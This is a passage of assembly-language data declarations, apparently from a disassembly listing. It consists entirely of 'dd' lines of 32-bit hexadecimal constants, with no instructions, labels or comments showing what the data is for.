		dd 717715EDh, 51B2CBC8h, 305A748Bh, 9208D755h, 22C1F217h
		dd 2C0D5A43h, 93272F00h, 0B0C39327h, 4902681Bh,	95A32B6Bh
		dd 13A7A5C8h, 171F89F7h, 64C07617h, 9C1485B7h, 21FBA1D8h
		dd 0BDEC49FAh, 0E1DFDB36h, 1F492B10h, 228740FDh, 693D09BBh
		dd 1C830B87h, 0C5CDDA40h, 0C089710Ch, 241315E2h, 0B9F71F39h
		dd 0BBC930FAh, 723940C8h, 808F8C39h, 0CF9A037Fh, 95D200AAh
		dd 0DDEDD5Fh, 88B4C174h, 0CE140E8Fh, 456833FBh,	497A1DA5h
		dd 0D78D6244h, 788DB627h, 69B85147h, 64CE9BC3h,	0A134E940h
		dd 0E92705A2h, 587C1CAAh, 69A1A6EFh, 6E919F56h,	9030D7D5h
		dd 57689F66h, 0B617A40Eh, 0B29DCE9Ah, 46EE59E1h, 7A9CBEC2h
		dd 2383BAC5h, 175BE5BAh, 9193B72Bh, 947AE515h, 0B735BC88h
		dd 35E195EAh, 3753BDBFh, 4BC46AE7h, 0B4A2A89Dh,	0BD9E40B2h
		dd 0B2BE1BA6h, 0E6A544B9h, 63A07493h, 0A93F75D5h, 9C2DCF57h
		dd 1DE4954Bh, 0CCF177ECh, 50B579F3h, 932147E7h,	0CA09890Dh
		dd 0B1A5F98Bh, 0FAD34D55h, 0D1E70FA3h, 0E7B289C4h, 4ABCAD19h
		dd 0EA3B5A4Eh, 0D86BA5C5h, 2C440481h, 7DDE97B4h, 0E40684Ah
		dd 649EB0CFh, 8C7ED128h, 0C5E403CEh, 4BCB430Dh,	3E8F9EF1h
		dd 0B55EBC74h, 20B4C0CCh, 30B46A37h, 0DA524E8Ah, 0CA6F85C4h
		dd 7E0DE300h, 9FF5F9D9h, 4C60DDA2h, 64158832h, 1D8C84EAh
		dd 424E278Fh, 0F62999A0h, 716D755Dh, 0DA367B59h, 8D8DC41Ah
		dd 0E7A0743h, 29539D35h, 179E9A3Bh, 2E54F1F0h, 83E5BBA9h
		dd 9A4CDB19h, 2AF921FCh, 0B1EE3807h, 1F150AAEh,	78BD0F24h
		dd 630A2D3Eh, 0E17FADC5h, 639591B6h, 0AD0A8D30h, 0DBEE6B6Ch
		dd 2F620F37h, 1959EE93h, 0D6991969h, 8CE04F16h,	81427C17h
		dd 7FABA732h, 12EE1607h, 0C3BD166Eh, 1384A358h,	88F519D0h
		dd 0C3EA4A26h, 6D99B242h
		dd 4EEB9E55h, 0A3065B98h, 0BBF203F6h, 4AEF229Fh, 778E5112h
		dd 137ACCC0h, 0C7DE02A8h, 2552A88Ah, 29B74C18h,	56F74DFFh
		dd 4609772Ch, 7F696C82h, 0CACB407Ch, 0C3582438h, 6596A177h
		dd 6E27060h, 7BE9F671h,	83EBB812h, 751EFA4Dh, 5682F50Ah
		dd 0A04A9BC0h, 0F2A72C0Eh, 3DDAFB3Ah, 0F762BFFCh, 0E19357B0h
		dd 0B26620ACh, 0F2FF33F0h, 0D09F2D7h, 34720E57h, 0B697B022h
		dd 743FD6AEh, 0CE8C047h, 800D2976h, 2844C24h, 7CFB281Ch
		dd 5238A2C9h, 0AE183D92h, 2486D91Fh, 0BA5904C2h, 5B7FC5EAh
		dd 91D8392Bh, 1A12D099h, 418A605Bh, 989C5332h, 8E9074D6h
		dd 4B0C5833h, 5DCB06A5h, 4F14D8FAh, 3DF06171h, 7549FAB0h
		dd 0BB372654h, 0EA7DD5DDh, 0A321E260h, 9FA48D54h, 91D242h
		dd 31B94EC0h, 7CCB0A77h, 0F1E98523h, 9523EDEFh,	2477D0D9h
		dd 7AD4B6A2h, 0EFA788Fh, 0DCA75A26h, 961ABA7Ah,	8A03ABF3h
		dd 7A53B274h, 0B85621D3h, 0B8B86E59h, 7F24104Eh, 245B20A1h
		dd 0BD69FB75h, 0C9D0FBF0h, 359AFE38h, 0BFF5F12Eh, 2E9191C0h
		dd 4A5FC6ABh, 2081D8E0h, 0E86142CEh, 7CB8A252h,	0BC7DBB60h
		dd 102D2845h, 44593660h, 520A1A6Fh, 0D1F16B80h,	2E9D0251h
		dd 0C5EDCDABh, 902D896Eh, 921C74FEh, 60A1E28h, 6BEC2038h
		dd 0A0480145h, 705731E4h, 4CB12FAAh, 996B7FC9h,	0F85CD744h
		dd 499A6184h, 130F6F32h, 0E26AA6CEh, 335CB42h, 0CC5CC170h
		dd 47D14E52h, 5118AFBh,	1C35787Ah, 28851461h, 700005FEh
		dd 6C976016h, 1DB42955h, 0BF1A6281h, 5AA71D88h,	75522C4Fh
		dd 577F0729h, 0C643D285h, 0ADF5E647h, 54C2CED7h, 6193016Dh
		dd 7D7CE7Bh, 2A00C68h, 0F0D557BCh, 9F830358h, 48B14E4Dh
		dd 0A92D7E5Fh, 7D62E589h, 440582E4h, 0C4CEFB43h, 57E727D4h
		dd 20AE8DE2h, 0EC7523AFh, 1DB7A5C6h, 0B0A27E0Eh, 1F440996h
		dd 121AAA58h, 7C423EC2h, 742FF32Fh, 9694FAE3h, 1947F1D7h
		dd 0ADFAB8DAh, 0E52C3E79h, 0EBEF516Dh, 0A55DBA9Ah, 26320CE6h
		dd 9078C8ADh, 8C13D7F6h, 7FBC15B4h, 8215451Dh, 0C42CAB18h
		dd 0ADF16BEAh, 43F3B476h, 32D9034Eh, 47C56266h,	542D704Ch
		dd 0E2D4FAAEh, 0E0E4DACAh, 0FE5768A0h, 0EAE7FFA0h, 26CA40Eh
		dd 0DF1ABC26h, 60C68323h, 0B5373A25h, 6047DB97h, 0EC210F93h
		dd 0DB511FE3h, 0C9D33DC9h, 9B6AEDCCh, 709635F6h, 7193A8C4h
		dd 32EEC24h, 7D0E0DC1h,	0E1633AAAh, 0BDF96799h,	0E9E15DFDh
		dd 0F95D8B6Ah, 97D72BFAh, 641E566Eh, 0BA2AB46Dh, 4E98B7F1h
		dd 44716413h, 1F687270h, 1DCDD213h, 0DBF7C6BFh,	0CEBCB546h
		dd 0B6D49536h, 6B229971h, 5B9C346Fh, 64CA1336h,	0B0FC1149h
		dd 0B0A57E1Dh, 9BF2FA40h, 0BEDEEBE9h, 123DDB4Ch, 0D4C2DF80h
		dd 23E6AD7Ah, 14DAE3FAh, 0FE44BB58h, 6E223C12h,	18A7DABAh
		dd 484D3C22h, 0E4AF2D5Eh, 97D0B669h, 297103CEh,	0C7646299h
		dd 85D42276h, 5986BC1Bh, 7C5B8B56h, 0C83F8A59h,	64604D34h
		dd 2840CF40h, 0A8B60F7Bh, 0DC1F82E0h, 9155BC50h, 8BE213ADh
		dd 5B3EAC15h, 909D4574h, 0D8DEE5F3h, 32D438B9h,	249834FFh
		dd 0D311BFAFh, 9737E18h, 70157D1Bh, 5730F380h, 83BF460Dh
		dd 84BF3B09h, 352613DEh, 31802867h, 0D05B7488h,	71A056B8h
		dd 2E907C15h, 0C1FF906Bh, 46AEB053h, 0E0DFB942h, 0CD999042h
		dd 0A3D99BF5h, 8D797275h, 0D1BD1B72h, 755AAD0Ch, 8D44D3F3h
		dd 10189F6Fh, 67B39E2Bh, 8107D9ACh, 9E9AB115h, 0FF03536Fh
		dd 0C74D9A05h, 9F5AD994h, 0C7DC5475h, 0EA72A8FDh, 75FA832Eh
		dd 99BD8BF2h, 3ABA59ADh, 76957536h, 0A8F4165h, 0E2B3B64Dh
		dd 4D364Fh, 2E2AB8FCh, 0C7F5DDBFh, 0E5C42591h, 831922D5h
		dd 49838EF3h, 0B9B0B00Ah, 0ABC4ABB7h, 0A0EDE3C0h, 0ECB6BF08h
		dd 0E49B9EBAh, 0F5CEAAF6h, 0BC32EACDh, 789673C5h, 0D80D1323h
		dd 44CA5030h, 40488F12h, 0D1C5B97h, 9371595Dh, 49AF5CC0h
		dd 1CBA78A3h, 9DB0054Bh, 0EDB2688Ah, 4C8F8BADh,	0F3894C9Ch
		dd 9FC5C122h, 9EC5AEC5h, 662BE2D4h, 682C6D2Dh, 55688EEFh
		dd 0D9A5A649h, 2A55E665h, 0F3EECD31h, 0EB85E866h, 5105BA9Eh
		dd 7199F6Fh, 4BFB9D7Ah,	770E4EF2h, 30604DA9h, 8DC95A21h
		dd 4C14D24Bh, 33308673h, 0D84DB91h, 0BFC2E407h,	30B87379h
		dd 90E098Fh, 60501A51h,	4F4CDD09h, 0C7D950DCh, 9EDC33AFh
		dd 0F720082Eh, 2B067F30h, 3C51C7D5h, 9A4D0179h,	0CC0A06E1h
		dd 0D2444457h, 6F66922Ch, 6C172A8h, 112655E1h, 48792345h
		dd 7E50C271h, 0DE8D749Eh, 0F561A9E7h, 6E6CD8F2h, 44A0AB7Ah
		dd 1E6C5A30h, 1A018010h, 60C758BBh, 0F06E7D5h, 26AD1A5Dh
		dd 319A95D7h, 4D41C65Eh, 0DA29195Bh, 8C542C31h,	45700DD7h
		dd 6C118D9Eh, 746AB788h, 4AED33B9h, 69098761h, 0C01511CEh
		dd 2CE0E812h, 0C091F12Dh, 0B1FA30C1h, 37488429h, 0D59673D5h
		dd 29A178Ah, 99DA843Fh,	2D91D4F2h, 64D93FA1h, 55630DA5h
		dd 0ECED8612h, 0D3928E7Ch, 928DAFEBh, 1B22ACF4h, 1EB39E49h
		dd 0B3017336h, 2EF1DFE8h, 9CDBEB19h, 2ABA9925h,	0A35090AEh
		dd 0D68C99EEh, 9F4E50B9h, 0C4654E65h, 85F2DF48h, 0E8943AABh
		dd 58A4D8FFh, 0ED503491h, 8108DC38h, 0CDC126DEh, 0F28C78DBh
		dd 2D80C824h, 0EBB90A32h, 0AAC8FC4Ch, 54248BEAh, 0F6BB6B53h
		dd 5EDAD1Ch, 0D4D5B55Ch, 0B504CE1h, 35BC1A3Bh, 5DE0AF4Eh
		dd 947C578Ah, 0A3C69E81h, 76AD03ECh, 0E62E0C52h, 16C9E3E2h
		dd 0F422437Eh, 87FF552Ah, 0D02A9B00h, 0D5FE1106h, 0BD5CB176h
		dd 51F184B9h, 78201757h, 0E35B28AEh, 0D4184415h, 4E22E616h
		dd 0E3504D8Ah, 3CB0FC7Ch, 0BB825DD4h, 0A66F6BBEh, 3B3D0C2Eh
		dd 59A3D698h, 0E8194306h, 35DC76F2h, 33953C95h,	6BACEFE2h
		dd 4A555239h, 0ECFE338Bh, 0B99FCFC4h, 7369B06Bh, 0BB84135Ch
		dd 0AA036AFEh, 0FC9B087Ah, 96B38280h, 0B7D6B5Bh, 591265Ch
		dd 5744CCF1h, 6C735803h, 784DE7EDh, 525131Eh, 0E6DD87B4h
		dd 14157200h, 0C798C44Bh, 43B1F4E6h, 71CE7639h,	44EF235Eh
		dd 35AAA5D7h, 3939B8BDh, 424A1B55h, 3EBB643Dh, 365CB06Eh
		dd 0D4CA0755h, 0DB482486h, 3C8E9882h, 0CAECA6DAh, 8D7F200Eh
		dd 4E39BF72h, 959B2E98h, 0B745D0D4h, 28DD6E8Ah,	0AAE34677h
		dd 95B1C057h, 69DEBC2Eh, 0ED92083Eh, 0D40D01A5h, 0AB81AC72h
		dd 0F9D13AE8h, 7337893h, 6012AE0h, 0BD001148h, 1A8D0D6Ah
		dd 264E9A85h, 0D5341Ah,	1BD69D1Ah, 0D44B7FEDh, 0FCEA16C7h
		dd 0CC8E1978h, 0E6D4BE6Ah, 99777E8Eh, 6AA21823h, 1C843010h
		dd 887ECF2Eh, 4B4C9E66h, 6813EC1Ch, 0FF5CF44Ch,	70740331h
		dd 0A2593A7h, 9D630996h, 9F6B4EDBh, 0FC63B4F4h,	0C3F21C18h
		dd 3706D3E3h, 5820B47Dh, 1C323D8Ah, 3CABAD65h, 511C5743h
		dd 0A2BDB8FEh, 9BDE5AEDh, 0FB15F1DBh, 8F9FDA54h, 0E94121D5h
		dd 6214F548h, 39EFE641h, 177955C6h, 0D2F1DD1Dh,	0AB140F52h
		dd 0D9A35026h, 56CA165Dh, 465F5A82h, 0EC6F27F7h, 37468FB3h
		dd 61044DE2h, 27CF894h,	0B0F02E88h, 0C78F9677h,	0C525A534h
		dd 52F01CC7h, 0EC61DFA8h, 0FEE44E1Bh, 53C2BAF3h, 5EB29ADFh
		dd 17A50287h, 602ED9EBh, 3BE60921h, 0F7408AE7h,	4B3EC094h
		dd 4924DC53h, 9986E38h,	9A028440h, 0EC2137E1h, 42D86D05h
		dd 6A2864F7h, 2989FF7h,	0B0AA8E21h, 81804D8h, 44E11789h
		dd 493374BFh, 0FFD07365h, 0AF9A09AAh, 0C3958FA7h, 1272FE2h
		dd 0E2744CE6h, 0AF1D0D6Ch
		dd 0F391358Dh, 0A29CDDA1h, 6FC219A9h, 5FD87170h, 390213BCh
		dd 0FA69DCBh, 5A6E7E2Bh, 0EC3EAAAh, 0AA749283h,	0AA91C46Fh
		dd 917C739Bh, 7F763990h, 949E2C28h, 0BB9A5C8Eh,	110E440Eh
		dd 0E04E133Ah, 84ABBA8Ch, 0B3C49B69h, 78863033h, 975267D8h
		dd 0FD8BCE8Fh, 3A05E063h, 6F526783h, 7EB4064Dh,	0F9CFCF30h
		dd 0C6DF03DFh, 0D8D3F3B7h, 4F0004Fh, 58124F22h,	0CCCC4A6Bh
		dd 0A7581FFEh, 21E7F55Ch, 4C3F2090h, 0B15A0111h, 0D4A872C4h
		dd 899AB9B4h, 3A250A70h, 0C8D0D54h, 27B52678h, 0F0543160h
		dd 0A6AF08AEh, 52F1D8EAh, 728C865Dh, 0E489F25h,	8DF03F2Bh
		dd 0FDD8EA0Ah, 7B7A1D59h, 3B61B2DAh, 389B17F7h,	0A01E8A91h
		dd 0BC19C3A9h, 0A9DAEE6Eh, 32817981h, 29A09651h, 1BABC819h
		dd 95BE41B9h, 0D97817F3h, 7C8A65EAh, 0F8B08703h, 0C567715Ah
		dd 6F91063Bh, 25ADB50Bh, 50DB5278h, 9F8D07B9h, 505DFF68h
		dd 0B32CBEA7h, 104BB9ADh, 86233FFFh, 0B3FAD3Ch,	27AA57C1h
		dd 8FCB637Ch, 55306664h, 69E805AEh, 70D2FCB9h, 37460077h
		dd 7D185DF9h, 0D13E54B3h, 0FCCC8C79h, 808AC5D6h, 43202DFBh
		dd 0C94E0CD6h, 2EF32416h, 78061860h, 99E7B766h,	0D482785Bh
		dd 2726B519h, 0C8630EF4h, 46641F95h, 39A0F56Ah,	0CF3616CEh
		dd 5EA5C204h, 65C15201h, 9DB367EBh, 0EE85E1B5h,	0E48B1E1Ch
		dd 83B81076h, 0B1C4F435h, 0E7B7E83Bh, 0D8C69779h, 67278D27h
		dd 7437CEECh, 0A4E1CC80h, 9D529739h, 0FE410B9Eh, 0DBA273ACh
		dd 0EF681C28h, 0E0829E1h, 0E783E5h, 0AA0915CFh,	3C700CCh
		dd 56024D70h, 0F6E7A8ADh, 0AC2C7F5Ah, 6904F904h, 8CCA7166h
		dd 65394E69h, 0B3FCCA70h, 0D8F869Dh, 0A2703AB5h, 1BA8EDC9h
		dd 0A03E908Ch, 0C4EDEFAh, 0B7DB6551h, 0BB52F972h, 7FF051B0h
		dd 33E6F7A1h, 778DC4E3h, 4279C5Dh, 79C65623h, 0B7C87A3Fh
		dd 0F880ABFFh, 0EDC3853Fh, 30FF2A18h, 441DB09Ah, 1753A221h
		dd 6E0C8B50h, 0F17B2DD9h, 0A4B827B5h, 0A836441h, 51A8675Bh
		dd 252287F2h, 2CF184C6h, 3261D1D6h, 644C03EEh, 5E82A502h
		dd 88B5A7C9h, 23B85EB4h, 960F209h, 30EE5F55h, 0E950943Bh
		dd 0CB5A1031h, 5E31A4C5h, 9B6E641Dh, 41242ADBh,	0FC4F2168h
		dd 0B938C44Dh, 26E8A185h, 0AD8A0628h, 9452DDD5h, 5876A00Dh
		dd 2FAE8249h, 0C0D8F207h, 6BC3B9D7h, 0DFB2CF23h, 0EE928E56h
		dd 17BA49E5h, 8D6B9478h, 0EA26FB02h, 83D6A64Bh,	84E4D784h
		dd 0B7FED5AEh, 649A8FDAh, 0BA3760D5h, 0E446B6E8h, 0D067BEBBh
		dd 184254CDh, 0A54F6EEh, 0CA18EB84h, 0E6984C2Ah, 0FF32D10Ah
		dd 76EC2E89h, 0DA414CFDh, 0A8449AB6h, 0FA343243h, 7156249Bh
		dd 0D8D520F3h, 0F7AC863Ch, 816D56A7h, 8513A879h, 0BEA0AC1h
		dd 0E4D8EB64h, 2E911E1h, 55975EC2h, 0CE7A6AC7h,	6D25A611h
		dd 6A21386Dh, 835D6142h, 0FB44AE5Bh, 1E477Dh, 0E72E9507h
		dd 9C88BC5Fh, 58EFDBBEh, 369F7D12h, 605C0471h, 0A78686A5h
		dd 0DD3A874Ah, 72038B08h, 52D063E2h, 0D9D14F97h, 0A44F265Fh
		dd 9E09D5E4h, 0D603FB2h, 4DB984BAh, 0F2FB9E5Bh,	0B2DEF119h
		dd 0D56A669Ah, 77435D31h, 28793Fh, 0AFAB4F48h, 0C6693B4Fh
		dd 2EC46DCh, 275ED10Fh,	0E24FBB0Fh, 0E587478Fh,	1AF6958Eh
		dd 61E664D1h, 39E6BAE2h, 0ECE74FA4h, 0B4918E79h, 19E2A18Eh
		dd 0AA8E24Eh, 0B0512D08h, 8B419F17h, 579EAF9Eh,	7083061h
		dd 0C22E4942h, 0EDADD6B2h, 20414EB4h, 0F4E03BA5h, 531AD437h
		dd 3E1126D7h, 227E1B40h, 0EAB957B9h, 0ADA7AF07h, 7375B381h
		dd 33450191h, 0CEDF6661h, 0FF631B98h, 0C11C34B1h, 43F5B73Fh
		dd 0D01EEB80h, 0C76EA13Eh, 0FA5E16D6h, 995124DDh, 9B8A72BFh
		dd 7699F3B6h, 1F85741Bh, 0F1045E6Ah, 8D21D032h,	0B4BE153Fh
		dd 3217B0A8h, 0DE0E638Eh, 339C4750h, 554D9C57h,	0D67F1478h
		dd 31735B79h, 8A69BEB2h, 0CAC6D076h, 0FC4B2283h, 10143127h
		dd 0A3AC5FC4h, 7556F813h, 502DF64Dh, 47E0BFD8h,	5D7D0473h
		dd 0CB24245h, 0B9DB2C61h, 5237374Dh, 61C40212h,	524283Ch
		dd 19615671h, 9D1E1CCh,	21DB0128h, 26DB0A09h, 17C257B4h
		dd 0A9C80787h, 1E0EE94Bh, 0DB239892h, 6820D3DEh, 14543B09h
		dd 0BAB773C4h, 3BF4777Fh, 8D660248h, 591F0617h,	4A16FA90h
		dd 0FE5CAFB4h, 741713Dh, 0C0187D6h, 918CEA37h, 5A17D0D2h
		dd 0FDA5A178h, 10709084h, 7DDC4D27h, 9EFCCC34h,	4244FF25h
		dd 0F6ACC668h, 318C9C63h, 0F5971928h, 4F768A7Dh, 7EE81C1Ch
		dd 56580BAh, 1672FCB6h,	1FAE731h, 68D43793h, 0DE796265h
		dd 76D2221Dh, 0C5B124BFh, 0D0CE0A33h, 0FF72EE56h, 0DA75ED07h
		dd 47B75F16h, 7075CA65h, 38EE319Ch, 0B153D62h, 0B6B8D4CEh
		dd 205C727h, 58C85F73h,	483A4Ah, 0CC04DD90h, 39E6FFDDh
		dd 0DC5DA451h, 0F404839h, 0D7F21ED6h, 0A21E1831h, 51C63C73h
		dd 431BE244h, 6E0A3FD1h, 0C0D51E27h, 0A5D02327h, 0EEB63F4Ch
		dd 4D6715C6h, 59037730h, 0C3687843h, 0E77584A2h, 9CBE6F59h
		dd 0A2DC9E61h, 3EDC857Fh, 705FB749h, 0B1F28F19h, 6D0C4EA5h
		dd 5661EE82h, 3E37105Eh, 4847D6E6h, 99CA8311h, 0F3D0F030h
		dd 3656551Fh, 0B6158CCAh, 643E121Fh, 4725D0E0h,	5D780A3Ch
		dd 26C395C4h, 0C58629Eh, 0BA61119Ah, 1D1E3B52h,	4F951608h
		dd 0A69C9A1Eh, 7D83AE96h, 0EBE588E5h, 1DBF26FDh, 44BB2759h
		dd 73C84DC5h, 178B5538h, 0FB773751h, 37D955B5h,	1A0EBB98h
		dd 0DACCC9DAh, 2301A627h, 9A687B08h, 0AE3483C4h, 0D183C7B9h
		dd 1EF946FEh, 3913F6Ah,	0DD8CEE14h, 1B8DB864h, 0B55B219h
		dd 7A939F82h, 0F29A68DEh, 0E0A62EE9h, 0A857747Dh, 95DE875Fh
		dd 0D57184EEh, 0D9F4315Fh, 3C6CADF2h, 6F329DBAh, 0C512CD53h
		dd 2C695018h, 3A6138A9h, 0D3DBA265h, 7B6D31AFh,	0FA0DA0A2h
		dd 8BF5A16Ah, 0EC56281Ch, 0F7112DB3h, 758BCBD2h, 9AF9BDABh
		dd 7D9A0D72h, 1166ABEAh, 941A496Fh, 0B7255500h,	2541A95Dh
		dd 431A860Ah, 0F891E040h, 8A2C0406h, 0E7C842DEh, 1DE8A98Ch
		dd 9B0B5614h, 25F5352Eh, 97457BBh, 11443763h, 86E91A5Bh
		dd 82293BE1h, 805442C1h, 8E171D45h, 7BC3265Bh, 821EFED6h
		dd 4177F930h, 0CE5EE36Bh, 44FA62DAh, 56AB1233h,	0DCEF63B8h
		dd 1FDE9788h, 0AF912F6Ah, 0D2ECE15Dh, 3F5AF160h, 0C932A041h
		dd 99D6DC7Ch, 0EFBEB99Ah, 3CFCC02Ah, 68A89569h,	0EDAC0697h
		dd 0F6F4825Fh, 0BD175C91h, 0BA5DEA40h, 560FD73Ch, 9A87C133h
		dd 35ACA564h, 135F43AFh, 21062A4Ah, 6E681619h, 0F81DEC8Bh
		dd 0F28F39Ch, 0CB3F194Dh, 0D9B06E06h, 0D888BB92h, 19E099D4h
		dd 53E8184Dh, 0FBDDB95Bh, 939709F1h, 3E5DBA9h, 0DB588827h
		dd 0EA424666h, 0AD3102FBh, 70FCE27Dh, 8AE2BE8Bh, 7FE564E8h
		dd 2E52B3C4h, 897D359Bh, 25BAE548h, 4CA0A93Ch, 3579DF58h
		dd 0DFEAECFBh, 0B7FC56C2h, 2F8B2DAAh, 0F4AE277Bh, 4B05560Bh
		dd 0F83E77CBh, 50EB6FD4h, 0BB80FD65h, 5723B5E5h, 6D1B3CB3h
		dd 991545E8h, 5BBBDDE6h, 18A0AD16h, 8C1EC020h, 15904722h
		dd 8A80EDC0h, 0F61EC12Ch, 39D03FA1h, 69EE23C0h,	26433953h
		dd 61F5A352h, 0F0AE5DBCh, 0D4AADC9Fh, 0FF665488h, 87D0768Fh
		dd 96BEF617h, 499F3BDCh, 725E7254h, 11C6AEEFh, 8CA026F4h
		dd 0A17DD247h, 2CC82355h, 0D547759Ah, 82E32E3Ch, 0A00F2509h
		dd 0A52FEEDCh, 51F7689Ch, 3AA83C73h, 0F80FBF8Fh, 0CDFBFB3Dh
		dd 95305B23h, 6EB25729h
		dd 91CF594Eh, 0EC950E7h, 0C0BCC220h, 0C9FD8CABh, 55131ED8h
		dd 2FEF372Bh, 0A423B384h, 788D2969h, 0D8385BA4h, 7A42C405h
		dd 39A2BF88h, 6EF2DD65h, 0FE9A983Ah, 554CA9BCh,	579CE0F0h
		dd 0C3F4883Dh, 89121477h, 6FDA7E67h, 0BCC7A519h, 8AF4A7C8h
		dd 94350CB3h, 0CD00E20Fh, 0A7A02A97h, 39D7C572h, 0B5855BA8h
		dd 41F292A6h, 0C10C5DCAh, 782B0662h, 0B5285D8Bh, 6AA79149h
		dd 934098EBh, 7AC55AD9h, 0A98185Ch, 8AEE9D79h, 74606078h
		dd 5A351298h, 0FB67C0B1h, 13F8891Dh, 0FDFE6CA9h, 0DE561292h
		dd 88B8FDB0h, 677DD02Bh, 531940FCh, 1A6258DBh, 0AAAC1E3Dh
		dd 95F08F50h, 4743DEE8h, 17045B9Dh, 939DB049h, 0F430598h
		dd 59308D36h, 830500F0h, 0C3B12488h, 189697FDh,	0D065909Bh
		dd 228ACB5Ah, 0B88D3DAFh, 7462908Dh, 67E077ADh,	0FC451A07h
		dd 2224FFBCh, 9373F998h, 0F8CD6AC3h, 0E7B4C106h, 6D05504Ch
		dd 5CC59F91h, 0F9BD11AAh, 0E86ADD1Fh, 0F73AF063h, 34AA5948h
		dd 0FB2D1E26h, 1302A6C1h, 8180288Bh, 284B7C0Dh,	0A1C35BE6h
		dd 0AFEBB548h, 0F9B52759h, 59B60BE3h, 102085F4h, 0EAB5376Dh
		dd 3012B483h, 0B1730A22h, 0C20E1795h, 0A469E9D7h, 39EE9965h
		dd 3F535CCAh, 36A4A98Eh, 4014FB8Ch, 43F1BF67h, 0D246BEB8h
		dd 0C894E788h, 4FE9797h, 0C9DD4632h, 749CAF73h,	2BFB0E10h
		dd 73658167h, 27EE17BFh, 0E5013645h, 0BC9ADC42h, 96C14949h
		dd 0E4818C94h, 0F3BA927Eh, 49B6D259h, 6284BE72h, 0E41EEE08h
		dd 0B8679504h, 4A3A7048h, 0A0A8F850h, 0EE7EDB72h, 0EE5252C1h
		dd 0C47AA07Bh, 0B25BE00h, 4862527Bh, 276CB790h,	4284B376h
		dd 5159C4F1h, 5258FEB8h, 0A1A51DE5h, 0F04138C0h, 71600C96h
		dd 0B5428A4Eh, 0E94C357Fh, 0F8B5C6C8h, 1F2D30CAh, 7297C9FDh
		dd 32FBCE22h, 1E20C999h, 2CED78DFh, 0A95C1177h,	9FB4D5FBh
		dd 0CDF4978Eh, 24CB9127h, 137BD8B7h, 982B5230h,	5D97537h
		dd 0F1767858h, 0E126800Bh, 7EB64FFAh, 9A6E2A12h, 50E8ABC6h
		dd 251350BAh, 6A000414h, 3CD4733Eh, 68080CDAh, 594869C3h
		dd 56978883h, 0F8C54269h, 0E9079E79h, 1BA14F0Dh, 0E6D7BA47h
		dd 0C104AFC0h, 97CBED36h, 0C859CD45h, 0B3A8D5C5h, 6EEC515Ah
		dd 724CBDC3h, 63D700D0h, 0EE5BDD12h, 6F1BF32Fh,	0E6377C61h
		dd 1B10C64Dh, 85FCBEA2h, 0C48EDFDAh, 540867BCh,	0E37E3517h
		dd 0DB3DEC8h, 99FF5B3Dh, 0E976F72Ah, 0E4E0AB30h, 0E71E0CDBh
		dd 263C1F00h, 4E66AB43h, 634C7F61h, 0AB35A42Ch,	5E44B06Bh
		dd 0EF65BEF5h, 24A53809h, 0CD3A7DB8h, 0BFDE4455h, 66843EE1h
		dd 0CB4C6F16h, 0C112BEB6h, 0B18CDA7Bh, 0C53344DCh, 0A096CD0h
		dd 1D59D63Bh, 0C7FA9526h, 0C71E70F2h, 93B3CE6Ch, 0FD3EC999h
		dd 46E0EC57h, 64BD4152h, 4B9232B3h, 852DCC03h, 0BE8F0CE5h
		dd 0B8210DF9h, 0F9993FBFh, 1A5E7454h, 0E3F852h,	5B9E4B84h
		dd 2B97838Dh, 0FE6523B9h, 6ED16C12h, 672184A2h,	0E3F9CA38h
		dd 346ABECCh, 31715539h, 0D2EFEEF3h, 458C7026h,	0A41789E3h
		dd 73FCCADDh, 0CAEE273Eh, 62904B00h, 0E782EB02h, 0F0772D37h
		dd 866F048Fh, 0A6665005h, 8A1132F2h, 0B5EBE7Eh,	0B7FA592Bh
		dd 0FFF92CE7h, 9641EC5Fh, 0CF68BFB6h, 20BE5EEFh, 812A815Fh
		dd 752919F2h, 45AFCD88h, 6A95CBF9h, 0E11D30C7h,	639C76C3h
		dd 0DFA83877h, 3249BA5Ch, 34921ED3h, 0CB5A3507h, 0C1FDEEBDh
		dd 0E37A5CC9h, 0D43CEA28h, 255DCDC2h, 35205FA9h, 2A3C6585h
		dd 2C9B3C25h, 324AB78Ch, 0B04F3F36h, 9CC2A84h, 0FFDEAECCh
		dd 45BBA3FEh, 50E9C415h, 26F68B84h, 7DE85CE2h, 81DF124Dh
		dd 0B8F49AF4h, 933BEF9Fh, 6D53FEFFh, 40757760h,	0CD96F66Ch
		dd 0F3F3FD2Ah, 10634DA7h, 0A2CE70AEh, 0F072A82Dh, 6334F903h
		dd 0EF5E56F2h, 4A7EA3E1h, 2E71E894h, 0ED0E9EA5h, 4F1AF961h
		dd 0F9732301h, 516E12Ch, 9F6D2B51h, 29235AB9h, 7798E71Fh
		dd 2575C8CFh, 0FBB6CBCAh, 7786430Dh, 0BCAC522Ah, 5F44087h
		dd 0B4CFE494h, 0A06A27A3h, 50B50F1Ch, 371CE8A7h, 0ED3BC5A1h
		dd 13DE176Dh, 6A576633h, 0CD7C4E86h, 0E7F2E0E5h, 0AC5288FEh
		dd 0D4338175h, 24608E3Fh, 32F4ED67h, 4D8EAF80h,	29AE4672h
		dd 0A01699F6h, 9156D4ABh, 6CBEFE11h, 7CF17614h,	8F830B9Bh
		dd 0BDA617E0h, 0CC803FF0h, 7397A103h, 9BC72281h, 13A5D147h
		dd 9B9C1EC4h, 653C7FFDh, 0E1B6BAD3h, 26AAFF58h,	0A273D361h
		dd 0D68D972Ch, 360F5494h, 80F44F9Eh, 810E1F43h,	0B103CCF2h
		dd 3A15D3B7h, 5CAB5A91h, 90F7A812h, 9193C616h, 3F4A4DF8h
		dd 6CEDBF67h, 0E634BC70h, 1752B73Ah, 0D528C73Dh, 43916DEh
		dd 54CEC6D3h, 54FF6221h, 0EFF7262Ah, 0D4B012E1h, 9B151A32h
		dd 0BB5890D2h, 54D72ACBh, 3D1D9B5Dh, 7C7B9E61h,	0B9A264BBh
		dd 3DBE976Eh, 7FA3F096h, 7708B31Ch, 0C47BBDC0h,	53B3CEBCh
		dd 4A265409h, 0C6B864CAh, 7C4D04AAh, 569C3F88h,	77124825h
		dd 43E8FECCh, 5CF0340Ah, 0FD0C86F2h, 4C7BC73Ah,	7DC6A04h
		dd 0EE0DDF8Ch, 8EA95C3Bh, 59AB18ADh, 90F0D719h,	0FF8E7D6Dh
		dd 0E3F720CEh, 24361E23h, 2FE98E3Fh, 923CFFB7h,	94BF98AAh
		dd 2D1FC357h, 29279B1Fh, 0F75E50Fh, 84645E32h, 0E261BAA5h
		dd 10F68105h, 3C00496Bh, 0E92B9A65h, 7FC085F4h,	0B3FA4B96h
		dd 70B4DB51h, 8687E2A3h, 303B0246h, 0F3CC3110h,	24299733h
